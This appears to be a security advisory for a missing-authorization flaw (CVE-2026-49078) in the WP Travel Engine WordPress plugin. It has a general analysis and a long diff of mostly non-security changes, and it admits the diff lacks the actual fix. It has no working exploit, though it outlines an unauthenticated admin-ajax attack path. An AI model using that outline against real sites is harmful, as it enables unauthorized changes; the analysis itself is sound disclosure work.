Published : June 13, 2026

CVE-2026-49078: WP Travel Engine – Tour Booking Plugin – Tour Operator Software <= 6.7.10 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.7.10
Patched Version 6.7.11
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-49078:

The WP Travel Engine plugin is vulnerable to unauthorized access due to a missing capability check on a function in versions up to 6.7.10. This vulnerability allows unauthenticated attackers to perform an unauthorized action. The severity is moderate (CVSS 5.3), but the exact nature of the action remains unspecified in the provided diff.

Root Cause:
The provided code diff does not explicitly show the missing capability check that is the root cause of CVE-2026-49078. The diff primarily shows changes related to image thumbnail dimensions, FAQ data structure refactoring (shifting from ‘faq’ to ‘faqs_data’), new settings for original-size images on trip cards, improvements to the wishlist shortcode to prevent fatal errors with empty wishlists, localize data additions, payment process updates (transient expiry, payment key meta), and bug fixes such as in the `Booking::sync_payment_success_metas` method and `Payment::from_payment_key` method. The core security flaw—the absent capability check—should be found in a non-diffed function or file. The vulnerability is categorized as CWE-862 (Missing Authorization).

Exploitation:
The exploitation method is not definitively discernible from this diff alone. An attacker could exploit a missing capability check on a specific function (likely an admin AJAX handler or REST API endpoint) that was not included in the provided code changes. The attacker would send a crafted request to the vulnerable endpoint—for example, an AJAX request to `wp-admin/admin-ajax.php` with an action parameter corresponding to a function that should require administrator privileges but does not verify the user’s capabilities.

Patch Analysis:
The provided diff does not contain the specific patch that adds the missing capability check. The changes shown are feature updates, bug fixes, and data structure modifications for version 6.7.11. The actual security patch is likely located in a different file or function not included in this diff excerpt. The patch would add a call to `current_user_can()` or a similar capability check before executing the privileged action, ensuring that only authorized users can invoke it.

Impact:
If exploited, this vulnerability allows an unauthenticated attacker to perform an unauthorized action. The exact impact depends on the unprotected function’s purpose. Potential consequences could include unauthorized modification of plugin settings, creation or deletion of trips, modification of bookings, or exposure of sensitive data. The vulnerability has a CVSS score of 5.3, indicating moderate severity with a high likelihood of exploit due to the lack of authentication requirement.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-travel-engine/admin/class-wp-travel-engine-admin.php
+++ b/wp-travel-engine/admin/class-wp-travel-engine-admin.php
@@ -42,9 +42,10 @@
 	 * @param string $version The version of this plugin.
 	 *
 	 * @since    1.0.0
+	 * @since 6.7.11 Changed trip-thumb-size dimensions from 374×226 to 500×500.
 	 */
 	public function __construct( $plugin_name, $version ) {
-		add_image_size( 'trip-thumb-size', 374, 226, true ); // 260 pixels wide by 210 pixels tall, hard crop mode
+		add_image_size( 'trip-thumb-size', 500, 500, true ); // 500 pixels wide by 500 pixels tall, hard crop mode
 		add_image_size( 'destination-thumb-size', 600, 810, true ); // 260 pixels wide by 210 pixels tall, hard crop mode
 		add_image_size( 'destination-thumb-trip-size', 410, 250, true );
 		add_image_size( 'activities-thumb-size', 600, 810, true ); // 260 pixels wide by 210 pixels tall, hard crop mode
--- a/wp-travel-engine/admin/meta-parts/trip-metas.php
+++ b/wp-travel-engine/admin/meta-parts/trip-metas.php
@@ -648,17 +648,8 @@
 		'icon'              => 'message',
 		'fields'            => array(
 			array(
-				'label'   => __( 'Section Title', 'wp-travel-engine' ),
-				'divider' => true,
-				'field'   => array(
-					'name'        => 'faqs_title',
-					'type'        => 'TEXT',
-					'placeholder' => __( 'Enter FAQs Title', 'wp-travel-engine' ),
-				),
-			),
-			array(
 				'field' => array(
-					'name' => 'faqs',
+					'name' => 'faqs_data',
 					'type' => 'FAQS',
 				),
 			),
--- a/wp-travel-engine/dist/admin/booking-edit.asset.php
+++ b/wp-travel-engine/dist/admin/booking-edit.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '1397249661879674fa1e');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => 'c30929729bcdea7303bf');
--- a/wp-travel-engine/dist/admin/dashboard-analytics/index.asset.php
+++ b/wp-travel-engine/dist/admin/dashboard-analytics/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'ad3ebb81ad261d5470f6');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '316d56a7adad669e59cf');
--- a/wp-travel-engine/dist/admin/exports.asset.php
+++ b/wp-travel-engine/dist/admin/exports.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '0e26e691e9efad012b86');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '954c9611afc6777b54d1');
--- a/wp-travel-engine/dist/admin/global-settings.asset.php
+++ b/wp-travel-engine/dist/admin/global-settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'b435c87d77e4adf30dae');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '06f77d7f5207ef0b97be');
--- a/wp-travel-engine/dist/admin/plugins-php.asset.php
+++ b/wp-travel-engine/dist/admin/plugins-php.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '9fc9f721ee9f3a23b141');
+<?php return array('dependencies' => array(), 'version' => 'a84c7a3463105e63d518');
--- a/wp-travel-engine/dist/admin/trip-edit.asset.php
+++ b/wp-travel-engine/dist/admin/trip-edit.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => '296da90aeb903902b5c1');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-url'), 'version' => 'a085103cc19144c6c57c');
--- a/wp-travel-engine/dist/admin/wte-admin.asset.php
+++ b/wp-travel-engine/dist/admin/wte-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '66a5ed2449862a9d8fed');
+<?php return array('dependencies' => array(), 'version' => 'fb5532390c924eabb31f');
--- a/wp-travel-engine/dist/blocks/editor/editor.asset.php
+++ b/wp-travel-engine/dist/blocks/editor/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '913f926c6659619467f2');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '725428162943badc7489');
--- a/wp-travel-engine/dist/blocks/single-trip/faqs/block.php
+++ b/wp-travel-engine/dist/blocks/single-trip/faqs/block.php
@@ -18,20 +18,58 @@
 } else {

 	$post_meta = get_post_meta( $wtetrip->post->ID, 'wp_travel_engine_setting', true );
-	$trip_faqs = ( $post_meta['faq'] ?? false );
+	$faqs      = array();

-	if ( ! $trip_faqs || ! is_array( $trip_faqs['faq_title'] ) ) {
-		return;
-	}
+	// Check for new category-based format first.
+	$faqs_data = ( $post_meta['faqs_data'] ?? false );
+	if ( $faqs_data && isset( $faqs_data['categories'] ) && is_array( $faqs_data['categories'] ) ) {
+		$global_faq_map = wptravelengine_get_global_faq_map();
+		$global_faq_ids = array_keys( $global_faq_map );
+
+		foreach ( $faqs_data['categories'] as $category ) {
+			if ( isset( $category['faqs'] ) && is_array( $category['faqs'] ) ) {
+				foreach ( $category['faqs'] as $faq ) {
+					$source_id     = (string) ( $faq['sourceId'] ?? '' );
+					$added_in_bulk = isset( $faq['addedInBulk'] ) ? (bool) $faq['addedInBulk'] : false;
+
+					if ( $added_in_bulk && '' !== $source_id && ! in_array( $source_id, $global_faq_ids, true ) ) {
+						continue;
+					}
+
+					$question = $faq['question'] ?? '';
+					$answer   = $faq['answer'] ?? '';
+
+					if ( $added_in_bulk && '' !== $source_id && isset( $global_faq_map[ $source_id ] ) ) {
+						$question = $global_faq_map[ $source_id ]['question'];
+						$answer   = $global_faq_map[ $source_id ]['answer'];
+					}

-	$faqs = array();
-	foreach ( $trip_faqs['faq_title'] as $key => $faq_title ) {
-		if ( isset( $trip_faqs['faq_content'][ $key ] ) ) {
-			$faqs[] = array(
-				'question' => $faq_title,
-				'answer'   => $trip_faqs['faq_content'][ $key ],
-			);
+					$faqs[] = array(
+						'question' => $question,
+						'answer'   => $answer,
+					);
+				}
+			}
 		}
+	} else {
+		// Fallback to legacy format.
+		$trip_faqs = ( $post_meta['faq'] ?? false );
+
+		if ( $trip_faqs && is_array( $trip_faqs['faq_title'] ) ) {
+			foreach ( $trip_faqs['faq_title'] as $key => $faq_title ) {
+				if ( isset( $trip_faqs['faq_content'][ $key ] ) ) {
+					$faqs[] = array(
+						'question' => $faq_title,
+						'answer'   => $trip_faqs['faq_content'][ $key ],
+					);
+				}
+			}
+		}
+	}
+
+	// Return if no FAQs found.
+	if ( empty( $faqs ) ) {
+		return;
 	}
 }

--- a/wp-travel-engine/dist/public/components/trip-booking-modal.asset.php
+++ b/wp-travel-engine/dist/public/components/trip-booking-modal.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'c4869223f5d9bc4452fa');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '5f2ab3f9966d6acf96fd');
--- a/wp-travel-engine/dist/public/exports.asset.php
+++ b/wp-travel-engine/dist/public/exports.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '63bb4c5043633af52d76');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'f1ba771697b8fd37ef76');
--- a/wp-travel-engine/dist/public/my-account.asset.php
+++ b/wp-travel-engine/dist/public/my-account.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '20019e0c77f90fdc2842');
+<?php return array('dependencies' => array(), 'version' => 'e06a485dfe90218a1795');
--- a/wp-travel-engine/dist/public/single-trip.asset.php
+++ b/wp-travel-engine/dist/public/single-trip.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-dom-ready', 'wp-i18n'), 'version' => 'a28db25ced1240d7959e');
+<?php return array('dependencies' => array('wp-dom-ready', 'wp-i18n'), 'version' => '40204043ac6b4e30e0e8');
--- a/wp-travel-engine/dist/public/trip-archive.asset.php
+++ b/wp-travel-engine/dist/public/trip-archive.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '5608538f6b256647d192');
+<?php return array('dependencies' => array(), 'version' => 'ac2154eb7fa1ebca344e');
--- a/wp-travel-engine/dist/public/trip-checkout.asset.php
+++ b/wp-travel-engine/dist/public/trip-checkout.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash'), 'version' => '2ff40bf8ce5199181cec');
+<?php return array('dependencies' => array('lodash'), 'version' => 'cfa87e8cd3e5ecdb86bc');
--- a/wp-travel-engine/dist/public/trip-faqs.asset.php
+++ b/wp-travel-engine/dist/public/trip-faqs.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array(), 'version' => '34925113df9160be1a00');
--- a/wp-travel-engine/dist/public/trip-search/index.asset.php
+++ b/wp-travel-engine/dist/public/trip-search/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '5f120fd208cef13353fd');
+<?php return array('dependencies' => array(), 'version' => '144716b7a35abc94bbda');
--- a/wp-travel-engine/dist/public/trip-search/widgets-slider.asset.php
+++ b/wp-travel-engine/dist/public/trip-search/widgets-slider.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '6ead055093010adc5990');
+<?php return array('dependencies' => array(), 'version' => 'b993433282e271669541');
--- a/wp-travel-engine/dist/public/trip-wishlist.asset.php
+++ b/wp-travel-engine/dist/public/trip-wishlist.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '596035bf457b9dfa9a8c');
+<?php return array('dependencies' => array(), 'version' => 'fabfe7ae15e9bb20a480');
--- a/wp-travel-engine/dist/public/wte-public.asset.php
+++ b/wp-travel-engine/dist/public/wte-public.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '82adf0143af51dea302b');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => '376c0b0510bc27194616');
--- a/wp-travel-engine/includes/backend/templates/booking/partials/payment-details.php
+++ b/wp-travel-engine/includes/backend/templates/booking/partials/payment-details.php
@@ -236,7 +236,7 @@
 	<div class="wpte-payment-summary-card">
 		<h3 class="wpte-payment-summary-title"><?php esc_html_e( 'Payment Summary', 'wp-travel-engine' ); ?></h3>
 		<table class="wpte-payment-summary-table">
-			<tr>
+			<tr class="wpte-payment-deposit">
 				<td><?php esc_html_e( 'Total Deposit Amount', 'wp-travel-engine' ); ?></td>
 				<td><?php wptravelengine_the_price( '', true, $pricing_arguments ); ?></td>
 			</tr>
--- a/wp-travel-engine/includes/class-wp-travel-engine-custom-shortcodes.php
+++ b/wp-travel-engine/includes/class-wp-travel-engine-custom-shortcodes.php
@@ -59,6 +59,7 @@

 	/*
 	** @since 5.5.7
+	** @since 6.7.11 Skip WP_Query when wishlist is empty to prevent fatal error.
 	*/
 	public function wishlist_shortcode( $attr ) {
 		$attr = shortcode_atts(
@@ -67,24 +68,26 @@
 			'wte_wishlist'
 		);

-		ob_start();
+		$query                 = null;
 		$current_user_wishlist = wptravelengine_user_wishlists();
-		$current_user_wishlist = is_array( $current_user_wishlist ) ? $current_user_wishlist : array( 0 );
+		if ( ! empty( $current_user_wishlist ) && is_array( $current_user_wishlist ) ) {
+			$query = new WP_Query(
+				array(
+					'post_type'   => WP_TRAVEL_ENGINE_POST_TYPE,
+					'post_status' => 'publish',
+					'post__in'    => $current_user_wishlist,
+					'orderby'     => 'post__in',
+					'paged'       => get_query_var( 'paged' ),
+				)
+			);
+		}

-		$query = new WP_Query(
-			array(
-				'post_type'   => WP_TRAVEL_ENGINE_POST_TYPE,
-				'post_status' => 'publish',
-				'post__in'    => $current_user_wishlist,
-				'orderby'     => 'post__in',
-				'paged'       => get_query_var( 'paged' ),
-			)
-		);
+		ob_start();
 		?>
 		<div>
 			<div class="wte-category-outer-wrap wte-user-wishlists">
 				<?php
-				if ( 0 === $query->post_count ) {
+				if ( null === $query || 0 === $query->post_count ) {
 					$button_txt    = __( 'Explore Trips', 'wp-travel-engine' );
 					$site_url      = get_site_url();
 					$trip_page_url = $site_url . '/trip';
--- a/wp-travel-engine/includes/classes/Assets.php
+++ b/wp-travel-engine/includes/classes/Assets.php
@@ -165,11 +165,15 @@

 	/**
 	 * Register Plugin Scripts.
+	 *
+	 * @since 6.7.11 Added wte-trip-faqs style and script registration.
 	 */
 	protected function register_plugin_scripts() {
 		/* @var PluginSettings $plugin_settings */
 		$this->register_style( Asset::register( 'style-trip-booking-modal', 'public/components/style-trip-booking-modal.css' ) );
 		$this->register_style( Asset::register( 'single-trip', 'public/single-trip.css' ) );
+		$this->register_style( Asset::register( 'wte-trip-faqs', 'public/trip-faqs.css' ) );
+		$this->register_script( Asset::register( 'wte-trip-faqs', 'public/trip-faqs.js' ) );
 		$this->register_style( Asset::register( 'wte-blocks-index', 'blocks/index.css' ) );

 		$this->register_style( Asset::register( 'wptravelengine-rtl', 'public/wte-rtl.css' ) );
@@ -712,6 +716,8 @@

 	/**
 	 * Localize Scripts.
+	 *
+	 * @since 6.7.11 Added faq_settings_url to admin localize data.
 	 */
 	public function get_global_localize_data() {
 		$settings = get_option( 'wp_travel_engine_settings', array() );
@@ -806,7 +812,15 @@
 		}

 		if ( is_admin() ) {
-			$l10n[ 'admin_url' ] = admin_url( '/' );
+			$l10n[ 'admin_url' ]       = admin_url( '/' );
+			$l10n[ 'faq_settings_url' ] = add_query_arg(
+				array(
+					'post_type' => 'booking',
+					'page'      => 'class-wp-travel-engine-admin.php',
+					'wpte-tab'  => 'faqs',
+				),
+				admin_url( 'edit.php' )
+			) . '#display-single-trip';
 		}

 		global $post;
@@ -1243,4 +1257,5 @@
 		wp_set_script_translations( 'wptravelengine-customer-edit', 'wp-travel-engine', $languages_path );
 		wp_set_script_translations( 'wptravelengine-upcoming-tours', 'wp-travel-engine', $languages_path );
 	}
+
 }
--- a/wp-travel-engine/includes/classes/Blocks/Util/WP_Kses.php
+++ b/wp-travel-engine/includes/classes/Blocks/Util/WP_Kses.php
@@ -14,11 +14,19 @@
 	/**
 	 * @return array
 	 * @since 6.3.4
+	 * @since 6.7.11 Added style tag support; use local copy instead of mutating global $allowedposttags.
 	 */
 	public function wptravelengine_post() {
 		global $allowedposttags;

-		$allowedposttags['iframe'] = array(
+		$tags = $allowedposttags;
+
+		$tags['style'] = array(
+			'type'  => true,
+			'media' => true,
+		);
+
+		$tags['iframe'] = array(
 			'src'             => true,
 			'width'           => true,
 			'height'          => true,
@@ -29,7 +37,7 @@
 			'referrerpolicy'  => true,
 		);

-		return $allowedposttags;
+		return $tags;
 	}

 	public function allowed_html( $allowed_tags, $context ) {
--- a/wp-travel-engine/includes/classes/Booking/Email/Template_Tags.php
+++ b/wp-travel-engine/includes/classes/Booking/Email/Template_Tags.php
@@ -486,6 +486,7 @@
 	 * Get trip booking Summary details.
 	 *
 	 * @since 6.5.0
+	 * @since 6.7.11 Skip empty line item groups; added wptravelengine_email_manual_trigger_{type} action.
 	 *
 	 * @return string
 	 */
@@ -602,20 +603,30 @@

 			} else {
 				foreach ( $line_items as $line_item => $_items ) {
-					$label = $this->get_line_item_label( $line_item );
-					?>
-					<tr>
-						<td colspan="2"><strong><?php echo esc_html( $label ); ?></strong></td>
-					</tr>
-					<?php
-					foreach ( $_items as $item ) {
-						?>
-						<tr>
-							<td style="color: #566267;"><?php echo esc_html( $item['label'] ?? '' ) . ': ' . $item['quantity'] . ' x ' . wptravelengine_the_price( $item['price'], false ); ?></td>
-							<td style="width: 50%;text-align: right;"><strong><?php echo wptravelengine_the_price( $item['total'], false ); ?></strong></td>
-						</tr>
-						<?php
+					if ( empty( $_items ) ) {
+						continue;
 					}
+
+					if ( ! has_action( 'wptravelengine_email_manual_trigger_' . $line_item ) ) {
+						$label = $this->get_line_item_label( $line_item );
+						if ( $label ) {
+							?>
+							<tr>
+								<td colspan="2"><strong><?php echo esc_html( $label ); ?></strong></td>
+							</tr>
+							<?php
+						}
+						foreach ( $_items as $item ) {
+							?>
+							<tr>
+								<td style="color: #566267;"><?php echo esc_html( $item['label'] ?? '' ) . ': ' . esc_html( $item['quantity'] ) . ' x ' . wptravelengine_the_price( $item['price'], false ); ?></td>
+								<td style="width: 50%;text-align: right;"><strong><?php echo wptravelengine_the_price( $item['total'], false ); ?></strong></td>
+							</tr>
+							<?php
+						}
+					}
+
+					do_action( 'wptravelengine_email_manual_trigger_' . $line_item, $_items, (array) $cart_info );
 				}
 			}
 		endforeach;
@@ -1630,8 +1641,9 @@
 	 * This function returns label for line items of cart.
 	 *
 	 * @since 6.7.9
+	 * @since 6.7.11 Changed visibility from public to protected.
 	 */
-	public function get_line_item_label( $line_item ) {
+	protected function get_line_item_label( $line_item ) {

 		switch ( $line_item ) :
 			case 'pricing_category':
--- a/wp-travel-engine/includes/classes/Builders/admin-settings/display/single-trip.php
+++ b/wp-travel-engine/includes/classes/Builders/admin-settings/display/single-trip.php
@@ -511,6 +511,22 @@
 							),
 						),
 					),
+					array(
+						'title'  => __( 'FAQs', 'wp-travel-engine' ),
+						'id'     => 'faqs',
+						'fields' => array(
+							array(
+								'field_type' => 'ALERT',
+								'status'     => 'info',
+								'content'    => __( 'Create reusable FAQs that can be used across multiple trips.', 'wp-travel-engine' ),
+							),
+							array(
+								'field_type' => 'FAQ_LIST',
+								'name'       => 'faqs.items',
+								'divider'    => true,
+							),
+						),
+					),
 				),
 			),
 		),
--- a/wp-travel-engine/includes/classes/Builders/admin-settings/display/trip-archive.php
+++ b/wp-travel-engine/includes/classes/Builders/admin-settings/display/trip-archive.php
@@ -287,6 +287,16 @@
 									'field_type' => 'DIVIDER',
 								),
 								array(
+									'label'       => __( 'Show Original Size Images', 'wp-travel-engine' ),
+									'description' => __( 'Enable to display trip listing images at their original uploaded size instead of the cropped thumbnail.', 'wp-travel-engine' ),
+									'field_type'  => 'SWITCH',
+									'name'        => 'card_new_layout.enable_original_size_image',
+									'isNew'       => version_compare( WP_TRAVEL_ENGINE_VERSION, '6.7.13', '<' ),
+								),
+								array(
+									'field_type' => 'DIVIDER',
+								),
+								array(
 									'label'       => __( 'Trip Duration', 'wp-travel-engine' ),
 									'description' => __( 'Choose how the trip duration should be displayed, not applicable for hourly trips.', 'wp-travel-engine' ),
 									'field_type'  => 'SELECT_BUTTON',
--- a/wp-travel-engine/includes/classes/Core/Booking/BookingProcess.php
+++ b/wp-travel-engine/includes/classes/Core/Booking/BookingProcess.php
@@ -316,10 +316,11 @@
 	 * Triggers Payment Gateway.
 	 *
 	 * @return void
+	 * @since 6.7.11 Increased transient expiry to 24 hours; added payment_key meta storage.
 	 */
 	protected function payment_gateway_process() {
 		global $wte_cart;
-		set_transient( "payment_key_{$this->payment->get_payment_key()}", $this->payment->get_id(), 60 * 10 );
+		set_transient( "payment_key_{$this->payment->get_payment_key()}", $this->payment->get_id(), 24 * HOUR_IN_SECONDS );

 		$payment_gateway = PaymentGateways::instance()->get_payment_gateway( $this->payment_method );

@@ -554,7 +555,8 @@
 						->set_meta( 'payment_status', 'pending' )
 						->set_meta( 'billing_info', $this->billing_info )
 						->set_meta( 'payment_source', 'checkout' )
-						->set_meta( 'is_due_payment', $this->payment_type === 'due' ? 'yes' : 'no' );
+						->set_meta( 'is_due_payment', $this->payment_type === 'due' ? 'yes' : 'no' )
+						->set_meta( 'payment_key', $payment_model->get_payment_key() );

 		$payment_types = apply_filters(
 			'wte_payment_modes_and_titles',
@@ -765,7 +767,7 @@
 	 * @return bool
 	 */
 	public static function is_traveler_information_save_request(): bool {
-		return check_ajax_referer( 'wp_travel_engine_final_confirmation_nonce', 'nonce', false );
+		return isset( $_REQUEST['nonce'] ) && check_ajax_referer( 'wp_travel_engine_final_confirmation_nonce', 'nonce', false );
 	}

 	/**
--- a/wp-travel-engine/includes/classes/Core/Controllers/RestAPI/V2/Settings.php
+++ b/wp-travel-engine/includes/classes/Core/Controllers/RestAPI/V2/Settings.php
@@ -493,22 +493,24 @@
 	 *
 	 * @return array
 	 * @since 6.2.0
+	 * @since 6.7.11 Added enable_original_size_image setting.
 	 */
 	protected function prepare_trip_card_details( WP_REST_Request $request ): array {

 		$settings                    = array();
 		$settings['card_new_layout'] = array(
 			// 'enable'                  => wptravelengine_toggled( $this->plugin_settings->get( 'display_new_trip_listing' ) ),
-			'enable_slider'           => wptravelengine_toggled( $this->plugin_settings->get( 'display_slider_layout', '1' ) ),
-			'enable_featured_tag'     => wptravelengine_toggled( $this->plugin_settings->get( 'show_featured_tag', '1' ) ),
-			'enable_wishlist'         => wptravelengine_toggled( $this->plugin_settings->get( 'show_wishlist', '1' ) ),
-			'enable_map'              => wptravelengine_toggled( $this->plugin_settings->get( 'show_map_on_card', '1' ) ),
-			'enable_excerpt'          => wptravelengine_toggled( $this->plugin_settings->get( 'show_excerpt', '1' ) ),
-			'enable_difficulty'       => wptravelengine_toggled( $this->plugin_settings->get( 'show_difficulty_tax', '1' ) ),
-			'enable_tags'             => wptravelengine_toggled( $this->plugin_settings->get( 'show_trips_tag', '1' ) ),
-			'enable_fsd'              => wptravelengine_toggled( $this->plugin_settings->get( 'show_date_layout', '1' ) ),
-			'enable_available_months' => wptravelengine_toggled( $this->plugin_settings->get( 'show_available_months', '1' ) ),
-			'enable_available_dates'  => wptravelengine_toggled( $this->plugin_settings->get( 'show_available_dates', '1' ) ?? false ),
+			'enable_slider'              => wptravelengine_toggled( $this->plugin_settings->get( 'display_slider_layout', '1' ) ),
+			'enable_featured_tag'        => wptravelengine_toggled( $this->plugin_settings->get( 'show_featured_tag', '1' ) ),
+			'enable_wishlist'            => wptravelengine_toggled( $this->plugin_settings->get( 'show_wishlist', '1' ) ),
+			'enable_map'                 => wptravelengine_toggled( $this->plugin_settings->get( 'show_map_on_card', '1' ) ),
+			'enable_excerpt'             => wptravelengine_toggled( $this->plugin_settings->get( 'show_excerpt', '1' ) ),
+			'enable_difficulty'          => wptravelengine_toggled( $this->plugin_settings->get( 'show_difficulty_tax', '1' ) ),
+			'enable_tags'                => wptravelengine_toggled( $this->plugin_settings->get( 'show_trips_tag', '1' ) ),
+			'enable_fsd'                 => wptravelengine_toggled( $this->plugin_settings->get( 'show_date_layout', '1' ) ),
+			'enable_available_months'    => wptravelengine_toggled( $this->plugin_settings->get( 'show_available_months', '1' ) ),
+			'enable_available_dates'     => wptravelengine_toggled( $this->plugin_settings->get( 'show_available_dates', '1' ) ?? false ),
+			'enable_original_size_image' => wptravelengine_toggled( $this->plugin_settings->get( 'show_original_size_image', '0' ) ),
 		);

 		$settings['trip_duration_label_on_card'] = (string) $this->plugin_settings->get( 'set_duration_type', 'days' );
@@ -1612,6 +1614,7 @@
 	 *
 	 * @return void
 	 * @since 6.2.0
+	 * @since 6.7.11 Added enable_original_size_image setting persistence.
 	 */
 	protected function set_trip_card( WP_REST_Request $request ) {

@@ -1668,6 +1671,10 @@
 		if ( isset( $request['card_new_layout']['enable_available_dates'] ) ) {
 			$plugin_settings->set( 'show_available_dates', wptravelengine_replace( $request['card_new_layout']['enable_available_dates'], true, '1', '0' ) );
 		}
+
+		if ( isset( $request['card_new_layout']['enable_original_size_image'] ) ) {
+			$plugin_settings->set( 'show_original_size_image', wptravelengine_replace( $request['card_new_layout']['enable_original_size_image'], true, '1', '0' ) );
+		}
 	}

 	/**
@@ -3189,50 +3196,54 @@
 				'description' => __( 'New Trip Layout', 'wp-travel-engine' ),
 				'type'        => 'object',
 				'properties'  => array(
-					'enable'                  => array(
+					'enable'                     => array(
 						'description' => __( 'New Trip Layout Enabled or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_slider'           => array(
+					'enable_slider'              => array(
 						'description' => __( 'Display Slider or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_featured_tag'     => array(
+					'enable_featured_tag'        => array(
 						'description' => __( 'Display Featured or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_wishlist'         => array(
+					'enable_wishlist'            => array(
 						'description' => __( 'Display Wishlist or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_map'              => array(
+					'enable_map'                 => array(
 						'description' => __( 'Display Map or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_excerpt'          => array(
+					'enable_excerpt'             => array(
 						'description' => __( 'Display Trip Archive Excerpt or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_difficulty'       => array(
+					'enable_difficulty'          => array(
 						'description' => __( 'Display Difficulty or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_tags'             => array(
+					'enable_tags'                => array(
 						'description' => __( 'Display Tags or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_fsd'              => array(
+					'enable_fsd'                 => array(
 						'description' => __( 'Display Next Departure Dates or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_available_months' => array(
+					'enable_available_months'    => array(
 						'description' => __( 'Display Available Months or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
-					'enable_available_dates'  => array(
+					'enable_available_dates'     => array(
 						'description' => __( 'Display Available Dates or Not', 'wp-travel-engine' ),
 						'type'        => 'boolean',
 					),
+					'enable_original_size_image' => array(
+						'description' => __( 'Display Original Size Image or Not', 'wp-travel-engine' ),
+						'type'        => 'boolean',
+					),
 				),
 			),
 			'trip_duration_label_on_card'      => array(
--- a/wp-travel-engine/includes/classes/Core/Models/Post/Booking.php
+++ b/wp-travel-engine/includes/classes/Core/Models/Post/Booking.php
@@ -1454,6 +1454,7 @@
 	 * @return void
 	 * @since 6.7.0
 	 * @since 6.7.1 Added support for send_booking_emails, send_payment_emails arguments and payment event trigger.
